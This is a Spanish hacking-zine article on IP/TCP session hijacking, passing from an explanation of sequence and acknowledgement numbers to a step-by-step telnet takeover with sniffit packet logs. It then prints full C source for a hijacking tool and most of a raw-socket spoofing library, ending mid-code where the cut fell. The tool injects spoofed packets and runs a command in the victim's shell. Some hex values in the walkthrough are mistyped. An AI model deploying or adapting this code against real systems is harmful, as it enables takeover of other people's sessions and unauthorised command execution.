-[ 0x0D ]-------------------------------------------------------------------- -[ IP HIJACKING ]------------------------------------------------------------ -[ by inetd ]---------------------------------------------------------SET-19- IP-Hijacking v0.1b por inetd inetd@mailcity.com Colaboracion para SET Introduccion ___________________________________________________________________ El IP-Hijacking al contrario que los tradicionales ataques que usan sniffing de paquetes, es un ataque activo, de la forma tradicional, conseguiamos una combinacion login/passwd que podiamos utilizar en un futuro, de ahi que se les llame ataques pasivos, en los atques activos como el IP-Hijacking lo que hacemos es robar una conexion ya establecida, una conexi¢n activa, este tipo de ataques se suelen utilizar contra maquinas que utilizan metodos de autenticacion como s/key (password de un solo uso) y en los que los ataques de toda la vida no surgen ningun efecto. Los ataques activos se basan en el sniffing de un flujo de paquetes para encontrar una serie de datos que nos van a servir para "suplantar" a una de las maquinas que forma parte de la sesion que estamos escuchando, como este tipo de ataques se basan en sniffing, no nos serviran para nada si el flujo que estamos escuchando esta encriptado de cualquier forma. Paquetes TCP/IP ____________________________________________________________________ Para entender este tipo de ataque hay que entender como se comporta principalmente el protocolo TCP y la forma de los paquetes que se intercambian, aqui va una peque¤a introduccion al funcionamiento de TCP/IP. Una conexion TCP/IP esta definida unicamente por cuatro parametros, la direccion IP del emisor (el que inicia la conexion), la direccion IP del receptor (el que recibe la conexion), el puerto TCP del emisor y el puerto TCP del recpetor. El mecanismo que utiliza TCP/IP para saber si debe o no debe aceptar un paquete esta basado en chequear una serie de valores en cada paquete, si estos valores son los esperados por el receptor, el paquete es valido, en caso contrario se rechazan, el mecanismo es el siguiente, todos los paquetes llevan dos numeros que los identifican, el mas importante en el numero de secuencia o SEQ NUMBER, este numero de 32bits indica, el numero de bytes enviados, cuando se crea una conexion, el primer numero de secuencia que se envia se genera de forma aleatoria, es decir el numero de secuencia del primer paquete en una conexion no es 0, este numero de secuencia va aumentando al menos en una unidad con cada paquete que se envia, aunque lo normal es que aumente el numero de bytes enviados en los paquetes de datos y que aumente uno en los paquetes de control, el otro numero, intimamente ligado al numero de secuencia, es el numero de reconocimiento o ACK NUMBER, tanto el cliente como el servidor almacenan en este campo el valor del numero de secuencia siguiente que esperan recibir, esto se explicara en mas detalle mas adelante. SVR_SEQ : numero de secuencia del siguiente byte que va a ser enviado por el servidor. SVR_ACK : siguiente byte que va a ser recibido por el servidor (es el numero de secuencia del ultimo byte recivido mas uno) CLT_SEQ : numero de secuencia del siguiente byte que va a ser enviado por el cliente. CLT_ACK : siguiente byte que va a ser recibido por el cliente. CLT_WIND : tamaño de bytes que puede recibir el cliente sin tener que verificarlos SVR_WIND : tamaño de bytes que puede recibir el servidor sin tener que verificarlos En cada nueva sesion se generan nuevos y diferentes numeros de secuencia, para evitar que dos sesiones simultaneas tengan la misma serie de identificadores. Aparte de los numeros SEQ/ACK la cabecera de un paquete TCP contiene los siguientes campos : SOURCE PORT : Puerto de origen DESTINATION PORT : Puerto de destino SEQUENCE NUMBER : El numero de secuencia del primer byte de este paquete ACKNOWLEDGE NUMBER : El numero de secuencia esperado para el siguiente byte que se va a recibir DATA OFFSET : Segmento de datos BITS DE CONTROL : URG : Pone en modo urgente el envio de este paquete ACK : Indica si se ha de enviar el ACK_NUMBER o no. PSH : Funcion push RST : Reset, resetea la conexion SYN : Peticion de sincronizacion de numeros de secuencia FIN : Indica al receptor del paquete que no va a haber mas datos del emisor. Finaliza la conexion. WINDOW : Tamaño de la ventana del emisor, indica el numero de bytes que se pueden recivir sin ser verificados. CHECKSUM : Este campo sirve para chequear la integridad del paquete, si el valor almacenado en este campo es igual al tamaño (header + data) con el que fue enviado el paquete, el paquete llega correctamente. URGENT POINTER : OPTIONS : Otras opciones. Apertura de una conexion ____________________________________________________________________________ Vamos a ver como se establece una conexion sin intercambio de datos entre un cliente y un servidor, al principio, la conexion por parte del cliente esta cerrada (CLOSED) y en el lado del servidor esta en estado de escucha (LISTEN) en espera de nuevas conexiones. El cliente manda el primer paquete y le dice al servidor que sincronice numeros de secuencia con el flag SYN: NOTA: Equivalencias: SEG_SEQ --> numero de secuencia del paquete actual SEG_ACK --> numero ACK del paquete actual SEG_FLAG -> bits de control del paquete actual Primer paquete del cliente : SEG_SEQ = CLT_SEQ_0 (este se produce en el lado del cliente) SEG_FLAG = SYN Estado de la conexion : SYN-SENT Cuando el servidor recibe este primer paquete fija su primer numero ACK al CLT_SEQ que le acaba de llegar y establece el flag SYN: SEG_SEQ = SVR_SEQ_0 (esto se produce en el lado del servidor, que genera su primer numero SEQ para marcar los paquetes que envie) SEQ_ACK = CLT_SEQ_0+1 (el servidor fija su ACK al SEQ number del proximo paquete que espera recibir) SEG_FLAG = SYN (comienza la sincronizacion de numeros de secuencia) Estado de la conexion : SYN-RECEIVED Cuando el cliente recibe este paquete empieza a reconocer la serie de numeros de frecuencia del servidor SEG_SEQ = CLT_SEQ_0+1 (Aumenta su SEQ para ajustarlo a lo que espera recibir el servidor, estamos de nuevo en el lado del cliente) SEG_ACK = SVR_SEQ_0+1 (Fija su ACK number al ultimo numero de secuencia que ha recibido del servidor mas uno, que es lo que espera recibir en el siguiente paquete que le envie el servidor) el cliente fija su ACK number inicial a SVR_SEQ_0+1 tenemos que CLT_ACK = SVR_SEQ_0+1, este proceso se va a repetir para cada intercambio de paquetes. Estado de la conexion: ESTABLISHED Cuando el servidor reciba este paquete sabra que se ha establecido una nueva conexion y ambos, cliente y servidor, tendran los datos suficientes para empezar a intercambiar paquetes de forma fiable, en este punto tenemos : CLT_SEQ = CLT_SEQ_0 + 1 Lo que va a enviar en el proximo paquete CLT_ACK = SVR_SEQ_0 + 1 Lo que espera recibir en el proximo pqt SVR_SEQ = SVR_SEQ_0 + 1 Lo que va a enviar en el proximo paquete SVR_ACK = CLT_SEQ_0 + 1 Lo que espera recibir el el proximo pqt Con lo que se debe cumplir siempre : CLT_ACK = SRV_SEQ y SVR_ACK = CLT_SEQ en el caso en que no se cumplan estas igualdades nos encontraremos ante un estado desincronizado. Cierre de una conexion _____________________________________________________________________________ Una conexion se puede cerrar de dos formas, o enviando un paquete con el flag FIN activo, o enviando un paquete con el flag RST activo, si es el flag FIN el que se activa, el receptor del paquete se queda en un estado de espera CLOSE-WAIT y empieza a cerrar la conexion, si es el flag RST el que esta activado, el receptor del paquete cierra la conexion directamente y pasa a un estado CLOSED liberando todos los recursos asociados a esta conexion. Errores asociados a los numeros SEQ/ACK ____________________________________________________________________________ Supongamos que tenemos una conexion establecida entre un cliente y un servidor, solo seran aceptables los paquetes cuyo numero de secuencia SEQ se encuentre en el intervalo [SVR_ACK, SVR_ACK + SVR_WIND] para el servidor y [CLT_ACK, CLT_ACK + CLT_WIND] para el cliente. NOTA: CLT_WIND y SRV_WIND son los tamaños del window de cliente y servidor Cuando el SEQ del paquete enviado esta por encima o por debajo de los limites de estos intervalos, el paquete es deshechado y el receptor del paquete envia un paquete al emisor con el numero ACK igual al SEQ del paquete que se esperaba recibir, por ejemplo, el cliente envia al servidor el siguiente paquete: SEG_SEQ = 2500, (paquete del cliente) SRV_ACK = 1500, SVR_WIND = 50, como SEG_SEQ (2500) es mayor que SVR_ACK + SVR_WIND (1550) y los valores esperados para el numero de secuencia del paquete eran [1500,1550], el servidor genera y envia un paquete con los siguientes numeros : SEG_SEQ = SVR_SEQ SEG_ACK = SVR_ACK que era lo que el servidor esperaba encontrar en el paquete. El Ataque IP-Hijacking ____________________________________________________________________________ El ataque IP-hijacking consiste en hacer creer a una maquina A que esta manteniendo una conexion con una maquina B que los paquetes que esta enviando esta maquina no son validos y por el contrario que los paquetes que vamos a enviar nosotros si son validos, de esta manera nos apoderamos de una conexion, a la maquina A le parece todo normal y la maquina B B piensa que la maquina A le ha cerrado la conexion por cualquier razon. A <-------------------------------X----------------->B | AT <-------------------------------- Para poder secuestrar la conexion establecida entrea A y B tenemos que ser capaces de hacer creer a A que lo paquetes de B dejan de ser validos, para ello lo que vamos a hacer que los numeros SEQ/ACK que envia B sean erroneos, para ello, lo que hacemos es insertar datos adicionales a los paquetes que envia B, de esta manera A actualizara sus numeros ACK, y aceptara estos datos modificados, con los nuevos numeros SEQ/ACk que nosotros hemos forzado, a partir de este momento, todos los paquetes que envie B seran rechazados, ya que esta utilizando los SEQ/ACK antiguos, una vez que hemos logrado esto, ya esta hecho, ya tenemos el control de la conexion, lo unico que tenemos que hacer ahora es calcular los numeros SEQ/ACK de cada paquete que enviemos para que corresponda con lo que espera el servidor. Puesta en practica - Ejemplo con sniffit/hijack.c _____________________________________________________________________________ NOTA: Estos datos estan recopilados de otros documentos, son logs del programa sniffit, las direcciones IP no son reales. Linea de log de sniffit : TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex) : 5C8223EA ACK (hex) : C34A67F6 FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 (Aqui va lo que es el contenido del paquete, los datos) 1) Supongamos una sesion TELNET entre A (cliente) y B (servidor) y nuestra maquina H en la misma red que A, primero utilizamos un sniffer para encontrar una sesion telnet con una shell, si puede ser la del root, pues mucho mejor, en este caso se usa sniffit que compila sin problemas bajo Linux, encontramos un telnet/shell y arrancamos hijack (hijack es un programa del mismo autor que sniffit y del cual se incluye el codigo fuente al final del documento, este programa automatiza el proceso de hijacking) hijack 166.66.66.1 2035 111.11.11.11 en nuestra maquina H, cuando hijack encuentre un paquete de A->B se pone en funcionamiento : TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EA ACK (hex): C34A67F6 FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ? 9D . C1 .2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 .A4 J 67 g F6 . 50 P 18 . 7C 00 . 6D M 29 ) 00 . 00 . 6C l 2) El servidor hace lo que le ordena el cliente, muestra una "l" TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A67F6 ACK (hex): 5C8223EB (CLT_SEQ + 1) FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B . 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \ 82 . 23 # EB . 50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l 3) El cliente envia un paquete ACK como respuesta al echo anterior, los paquetes ACK simples no contienen datos y no son necesarios para calcular el conjunto de numeros ACK/SEQ. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB (SVR_ACK) ACK (hex): C34A67F7 (SVR_SEQ + 1) FLAGS: -A---- (ACK pkt) Window: 7C00 Ahora es el momento de calcular los numeros SEQ/ACK, siempre teniendo en cuenta los rangos para estos numeros, calculamos los numeros a partir de los existentes en el primer paquete que se envio: SEQ (hex) : 5C8223EA ACK (hex) : C34A67F6 Creamos unos cuantos paquetes con los nuevos numeros calculados y se los enviamos a B como si fuesemos A, se los mandamos como si fuesen justo despues de el primer paquete, del que hemos calculado los numeros SEQ/ACK, primero enviamos espacios y retornos de carro para limpiar la linea de comandos, en este punto, la maquina A es incapaz de saber que ha sido secuestrada y que sus paquetes no llegan al servidor. Hay que fijarse que los primeros numeros que enviamos son los mismos que los que se enviaron en el segundo paquete que envio el cliente, que son los que corresponden a partir de los numeros calculados: SEQ_0 (hex) : 5C8223EA + 1 = 5C8223EB --> primer numero que enviamos ACK_0 (hex) : C34A67F6 + 1 = C34A67F7 --> primer numero que enviamos TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB (SVR_ACK) ACK (hex): C34A67F7 (SVR_SEQ + 1) FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ? 9D . C1 . 24 * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 . 4A J 67 g F6 . 50 P 18 . 7C 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 0A . 0A . La salida del siguiente paquete que nos devuelva el servidor nos va a decir si hemos tenido exito o no, si los numeros SEQ/ACK que vengan en el paquete coinciden con los que nosotros calculemos sabremos que hemos tenido exito. SVR_SEQ (hex) : C34A7F7 SVR_ACK (hex) : CLT_SEQ + Tamaño de bytes enviados (0A) SVR_ACK (hex) : 5C8223EB + 0A = 5C8223F5 Si el ACK coincide con el que hemos calculado, voila, podremos estar totalmente seguros que la conexion es nuestra, y los paquetes que sigue enviando A no valen para nada, luego veremos como hacemos que A no sospeche nada. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1040 SEQ (hex): C34A7F7 (CLT_ACK) ACK (hex): 5C8223F5 (CLT_SEQ + 0A) FLAGS: -AP--- Window: 2238 4) En este punto, y si todo va bien, hijack, intentara rastrear de nuevo la pareja de numeros SEQ/ACK para empezar a enviar los comandos que queramos ejecutar, a estas alturas el cliente de telnet que corria en A se ha quedado colgado como si se tratase de un error normal, es casi imposible que A se de cuenta de que ha sido secuestrada. Hijack se basa en los paquetes devueltos con los numeros esperados por el servidor (ver Errores asociados a los numeros SEQ/ACK) para ir recalculando la pareja de numeros. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223B (SEQ erroneo) ACK (hex): C34A67F7 (ACK erroneo) FLAGS: -AP--- Window: 7C00 Como el paquete que le acaba de llegar al servidor es erroneo, sus numeros no se corresponden con lo que el servidor se esperaba, el servidor nos devuelve un paquete ACK simple con los numeros que esperaba, lo que nos da para volver a recalcular, si es que hiciese falta. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C8223F5 (CLT_SEQ + 0A, el esperado) FLAGS: -A---- (ACK simple) Window: 2238 5) Ahora vamos a mandar nuestro primer comando por nuestra flamante conexion recien secuestrada, hijack ha vuelto a calcular la pareja de numeros y ahora nos permite empezar a mandar comandos, hay ue fijarse que los numeros ACK/SEQ que enviamos ahora nos los ha proporcionado el propio servidor. echo "echo HACKED" >> $HOME/.profile TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223F5 (SRV_ACK) ACK (hex): C34A680B (Valores correctos) FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45 E 3F ? 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # F5 . C3 . 4A J 68 h 0B . 50 P 18 . 7C 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o 20 22 " 65 e 63 c 68 h 6F o 20 48 H 41 A 43 C 4B K 45 E 44 D 22 " 20 3E > 3E > 24 $ 48 H 4F O 4D M 45 E 2F / 2E . 70 p 72 r 6F o 66 f 69 i 6C l 65 e 0A . 00 . Hemos enviado 37 bytes, podemos calcular de nuevo los numeros que nos tiene que devolver el servidor en el proximo paquete si todo ha salido bien, seran los siguientes : SVR_SEQ = C34A680B SVR_ACK = CLT_SEQ + Bytes enviados (37 en hexadecimal = 025) SVR_ACK = 5C8223F5 + 025 = 5C82241A TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B (CLT_ACK) ACK (hex): 5C82241A (CLT_SEQ + 025) FLAGS: -AP--- Window: 2238 Parece que todo funciona bien, ahora podemos seguir mandando comandos o lo que queramos, la conexion se puede cerrar mandando un paquete RST o un FIN, es mas recomendable enviar un paquete FIN ya que nos devuelve la confirmacion de que ha sido cerrada la conexion, aunque si tenemos mucha prisa RST es lo mas efectivo. La salida de hijack tiene que ser algo parecido a esto : Starting Hijacking Demo - Brecht Clarehout 1996 ----------------------------------------------- Takeover phase 1 : Stealing connection. Sending Spoofed clean-up data... Waiting for sppof to be confirmed... Phase 1 ended. Takeover phase 2 : Getting on track with SEQ/ACK´s again Server SEQ: C34A68B (hex) ACK: 5C8223F5 (hex) Phase 2 ended. Takeover phase 3 : Sending MY data. Sending evil data. Waiting for evil data to be confirmed... Phase 3 ended. Codigo fuente de hijcak.c _______________________________________________________________________ /**************************************************************************/ /* Hijack - Example program on connection hijacking with IP spoofing */ /* (illustration for 'A short overview of IP spoofing') */ /* */ /* Purpose - taking control of a running telnet session, and executing */ /* our own command in that shell. */ /* */ /* Author - Brecht Claerhout */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t >/dev/null */ /* */ /* Disclaimer - This program is for educational purposes only. I am in */ /* NO way responsible for what you do with this program, */ /* or any damage you or this program causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* ETHERNET support ("eth0" device) */ /* If you network configuration differs it shouldn't be to */ /* hard to modify yourself. I got it working on PPP too, */ /* but I'm not including extra configuration possibilities */ /* because this would overload this first release that is */ /* only a demonstration of the mechanism. */ /* Anyway if you only have ONE network device (slip, */ /* ppp,... ) after a quick look at this code and spoofit.h */ /* it will only take you a few secs to fix it... */ /* People with a bit of C knowledge and well known with */ /* their OS shouldn't have to much trouble to port the code.*/ /* If you do, I would love to get the results. */ /* */ /* Compiling - gcc -o hijack hijack.c */ /* */ /* See also - Sniffit (for getting the necessairy data on a connection) */ /**************************************************************************/ #include "spoofit.h" /* My spoofing include.... read licence on this */ /* Those 2 'defines' are important for putting the receiving device in */ /* PROMISCUOUS mode */ #define INTERFACE "eth0" /* first ethernet device */ #define INTERFACE_PREFIX 14 /* 14 bytes is an ethernet header */ #define PERSONAL_TOUCH 666 int fd_receive, fd_send; char CLIENT[100],SERVER[100]; int CLIENT_P; void main(int argc, char *argv[]) { int i,j,count; struct sp_wait_packet attack_info; unsigned long sp_seq ,sp_ack; unsigned long old_seq ,old_ack; unsigned long serv_seq ,serv_ack; /* This data used to clean up the shell line */ char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a}; char evil_data[]="echo \"echo HACKED\" >>$HOME/.profile\n"; if(argc!=4) { printf("Usage: %s client client_port server\n",argv[0]); exit(1); } strcpy(CLIENT,argv[1]); CLIENT_P=atoi(argv[2]); strcpy(SERVER,argv[3]); /* preparing all necessary sockets (sending + receiving) */ DEV_PREFIX = INTERFACE_PREFIX; fd_send = open_sending(); fd_receive = open_receiving(INTERFACE, 0); /* normal BLOCKING mode */ printf("Starting Hijacking demo - Brecht Claerhout 1996\n"); printf("-----------------------------------------------\n"); for(j=0;j<50;j++) { printf("\nTakeover phase 1: Stealing connection.\n"); wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0); sp_seq=attack_info.seq+attack_info.datalen; sp_ack=attack_info.ack; printf(" Sending Spoofed clean-up data...\n"); transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23, sp_seq,sp_ack,ACK|PSH); /* NOTE: always beware you receive y'r OWN spoofed packs! */ /* so handle it if necessary */ count=0; printf(" Waiting for spoof to be confirmed...\n"); while(count<5) { wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==sp_seq+sizeof(to_data)) count=PERSONAL_TOUCH; else count++; }; if(count!=PERSONAL_TOUCH) {printf("Phase 1 unsuccesfully ended.\n");} else {printf("Phase 1 ended.\n"); break;}; }; printf("\nTakeover phase 2: Getting on track with SEQ/ACK's again\n"); count=serv_seq=old_ack=0; while(count<10) { old_seq=serv_seq; old_ack=serv_ack; wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0); if(attack_info.datalen==0) { serv_seq=attack_info.seq+attack_info.datalen; serv_ack=attack_info.ack; if( (old_seq==serv_seq)&&(serv_ack==old_ack) ) count=PERSONAL_TOUCH; else count++; } }; if(count!=PERSONAL_TOUCH) {printf("Phase 2 unsuccesfully ended.\n"); exit(0);} printf(" Server SEQ: %X (hex) ACK: %X (hex)\n",serv_seq,serv_ack); printf("Phase 2 ended.\n"); printf("\nTakeover phase 3: Sending MY data.\n"); printf(" Sending evil data.\n"); transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P, SERVER,23,serv_ack,serv_seq,ACK|PSH); count=0; printf(" Waiting for evil data to be confirmed...\n"); while(count<5) { wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==serv_ack+sizeof(evil_data)) count=PERSONAL_TOUCH; else count++; }; if(count!=PERSONAL_TOUCH) {printf("Phase 3 unsuccesfully ended.\n"); exit(0);} printf("Phase 3 ended.\n"); } Codigo fuente de spoofit.h ____________________________________________________________________________________ /**************************************************************************/ /* Spoofit.h - Include file for easy creating of spoofed TCP packets */ /* Requires LINUX 1.3.x (or later) Kernel */ /* (illustration for 'A short overview of IP spoofing') */ /* V.1 - Copyright 1996 - Brecht Claerhout */ /* */ /* Purpose - Providing skilled people with a easy to use spoofing source */ /* I used it to be able to write my tools fast and short. */ /* Mind you this is only illustrative and can be easily */ /* optimised. */ /* */ /* Author - Brecht Claerhout */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t >/dev/null */ /* */ /* Disclaimer - This file is for educational purposes only. I am in */ /* NO way responsible for what you do with this file, */ /* or any damage you or this file causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* If you know a little about your OS, shouldn't be to hard */ /* to port. */ /* */ /* Important note - You might have noticed I use non standard packet */ /* header struct's. How come?? Because I started like */ /* that on Sniffit because I wanted to do the */ /* bittransforms myself. */ /* Well I got so damned used to them, I keep using them, */ /* they are not very different, and not hard to use, so */ /* you'll easily use my struct's without any problem, */ /* this code and the examples show how to use them. */ /* my apologies for this inconvenience. */ /* */ /* None of this code can be used in commercial software. You are free to */ /* use it in any other non-commercial software (modified or not) as long */ /* as you give me the credits for it. You can spread this include file, */ /* but keep it unmodified. */ /* */ /**************************************************************************/ /* */ /* Easiest way to understand this library is to look at the use of it, in */ /* the example progs. */ /* */ /**** Sending packets *****************************************************/ /* */ /* int open_sending (void) */ /* Returns a filedescriptor to the sending socket. */ /* close it with close (int filedesc) */ /* */ /* void transmit_TCP (int sp_fd, char *sp_data, */ /* int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, */ /* char *sp_source, unsigned short sp_source_port, */ /* char *sp_dest,unsigned short sp_dest_port, */ /* unsigned long sp_seq, unsigned long sp_ack, */ /* unsigned short sp_flags) */ /* fire data away in a TCP packet */ /* sp_fd : raw socket filedesc. */ /* sp_data : IP options (you should do the padding) */ /* TCP options (you should do the padding) */ /* data to be transmitted */ /* (NULL is nothing) */ /* note that all is optional, and IP en TCP options are*/ /* not often used. */ /* All data is put after eachother in one buffer. */ /* sp_ipoptlen : length of IP options (in bytes) */ /* sp_tcpoptlen : length of TCP options (in bytes) */ /* sp_datalen : amount of data to be transmitted (bytes) */ /* sp_source : spoofed host that"sends packet" */ /* sp_source_port: spoofed port that "sends packet" */ /* sp_dest : host that should receive packet */ /* sp_dest_port : port that should receive packet */ /* sp_seq : sequence number of packet */ /* sp_ack : ACK of packet */ /* sp_flags : flags of packet (URG,ACK,PSH,RST,SYN,FIN) */ /* */ /* void transmit_UDP (int sp_fd, char *sp_data, */ /* int sp_ipoptlen, int sp_datalen, */ /* char *sp_source, unsigned short sp_source_port, */ /* char *sp_dest, unsigned short sp_dest_port) */ /* fire data away in an UDP packet */ /* sp_fd : raw socket filedesc. */ /* sp_data : IP options */ /* data to be transmitted */ /* (NULL if none) */ /* sp_ipoptlen : length of IP options (in bytes) */ /* sp_datalen : amount of data to be transmitted */ /* sp_source : spoofed host that"sends packet" */ /* sp_source_port: spoofed port that "sends packet" */ /* sp_dest : host that should receive packet */ /* sp_dest_port : port that should receive packet */ /* */ /**** Receiving packets ***************************************************/ /* */ /* int open_receiving (char *rc_device, char mode) */ /* Returns fdesc to a receiving socket */ /* (if mode: IO_HANDLE don't call this twice, global var */ /* rc_fd_abc123 is initialised) */ /* rc_device: the device to use e.g. "eth0", "ppp0" */ /* be sure to change DEV_PREFIX accordingly! */ /* DEV_PREFIX is the length in bytes of the header that */ /* comes with a SOCKET_PACKET due to the network device */ /* mode: 0: normal mode, blocking, (read will wait till packet */ /* comes, mind you, we are in PROMISC mode) */ /* IO_NONBLOCK: non-blocking mode (read will not wait till */ /* usefull for active polling) */ /* IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/ /* (IO_HANDLE is not recommended to use, as it should be */ /* modified according to own use, and it works bad on heavy */ /* traffic continuous monitoring. I needed it once, but left it */ /* in to make you able to have a look at Signal handled IO, */ /* personally I would have removed it, but some thought it */ /* doesn't do any harm anyway, so why remove... ) */ /* (I'm not giving any more info on IO_HANDLE as it is not */ /* needed for the example programs, and interested people can */ /* easilythey figure the code out theirselves.) */ /* (Besides IO_HANDLE can only be called ONCE in a program, */ /* other modes multiple times) */ /* */ /* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start, */ /* unsigned char *proto) */ /* This waits for a packet (mode default) and puts it in buffer or */ /* returns whether there is a pack or not (IO_NONBLOCK). */ /* It returns the packet length if there is one available, else 0 */ /* */ /* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, */ /* char *wp_source, unsigned short wp_source_port, */ /* char *wp_dest, unsigned short wp_dest_port, */ /* int wp_flags, int wait_time); */ /* wp_fd: a receiving socket (default or IO_NONBLOCK) */ /* ret_values: pointer to a sp_wait_packet struct, that contains SEQ, */ /* ACK, flags, datalen of that packet. For further packet */ /* handling see the examples. */ /* struct sp_wait_packet { */ /* unsigned long seq,ack; */ /* unsigned short flags; */ /* int datalen; */ /* }; */ /* wp_source, wp_source_port : sender of packet */ /* wp_dest, wp_dest_port : receiver of packet */ /* wp_flags: flags that should be present in packet.. (mind you there */ /* could be more present, so check on return) */ /* note: if you don't care about flag, use 0 */ /* wait_time: if not zero, this function will return -1 if no correct */ /* packet has arrived within wait_time secs. */ /* (only works on IO_NONBLOCK socket) */ /* */ /* void set_filter (char *f_source, unsigned short f_source_port, */ /* char *f_dest, unsigned short f_dest_port) */ /* (for use with IO_HANDLE) */ /* Start the program to watch all trafic from source/port to */ /* dest/port. This enables the updating of global data. Can */ /* be called multiple times. */ /* */ /* void close_receiving (void) */ /* When opened a IO_HANDLE mode receiving socket close it with */ /* this. */ /* */ /**** Global DATA (IO_HANDLE mode) ****************************************/ /* */ /* When accessing global data, copy the values to local vars and then use */ /* them. Reduce access time to a minimum. */ /* Mind you use of this is very limited, if you are a novice on IO, just */ /* ignore it, the other functions are good enough!). If not, rewrite the */ /* handler for your own use... */ /* */ /* sig_atomic_t SP_DATA_BUSY */ /* Put this on NON-ZERO when accesing global data. Incoming */ /* packets will be ignored then, data can not be overwritten. */ /* */ /* unsigned long int CUR_SEQ, CUR_ACK; */ /* Last recorded SEQ and ACK number of the filtered "stream". */ /* Before accessing this data set SP_DATA_BUSY non-zero, */ /* afterward set it back to zero. */ /* */ /* unsigned long int CUR_COUNT; */ /* increased everytime other data is updated */ /* */ /* unsigned int CUR_DATALEN; */ /* Length of date in last TCP packet */ /* */ /**************************************************************************/ #include "sys/socket.h" /* includes, what would we do without them */ #include "netdb.h" #include "stdlib.h" #include "unistd.h" #include "stdio.h" #include "errno.h" #include "netinet/in.h" #include "netinet/ip.h" #include "linux/if.h" #include "sys/ioctl.h" #include "sys/types.h" #include "signal.h" #include "fcntl.h" #undef DEBUG #define IP_VERSION 4 /* keep y'r hands off... */ #define MTU 1500 #define IP_HEAD_BASE 20 /* using fixed lengths to send */ #define TCP_HEAD_BASE 20 /* no options etc... */ #define UDP_HEAD_BASE 8 /* Always fixed */ #define IO_HANDLE 1 #define IO_NONBLOCK 2 int DEV_PREFIX = 9999; sig_atomic_t WAIT_PACKET_WAIT_TIME=0; /**** IO_HANDLE ************************************************************/ int rc_fd_abc123; sig_atomic_t RC_FILTSET=0; char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */ sig_atomic_t SP_DATA_BUSY=0; unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0; unsigned int CUR_DATALEN; unsigned short CUR_FLAGS; /***************************************************************************/ struct sp_wait_packet { unsigned long seq,ack; unsigned short flags; int datalen; }; /* Code from Sniffit - BTW my own program.... no copyright violation here */ #define URG 32 /* TCP flags */ #define ACK 16 #define PSH 8 #define RST 4 #define SYN 2 #define FIN 1 struct PACKET_info { int len, datalen; unsigned long int seq_nr, ACK_nr; u_char FLAGS; }; struct IP_header /* The IPheader (without options) */ { unsigned char verlen, type; unsigned short length, ID, flag_offset; unsigned char TTL, protocol; unsigned short checksum; unsigned long int source, destination; }; struct TCP_header /* The TCP header (without options) */ { unsigned short source, destination; unsigned long int 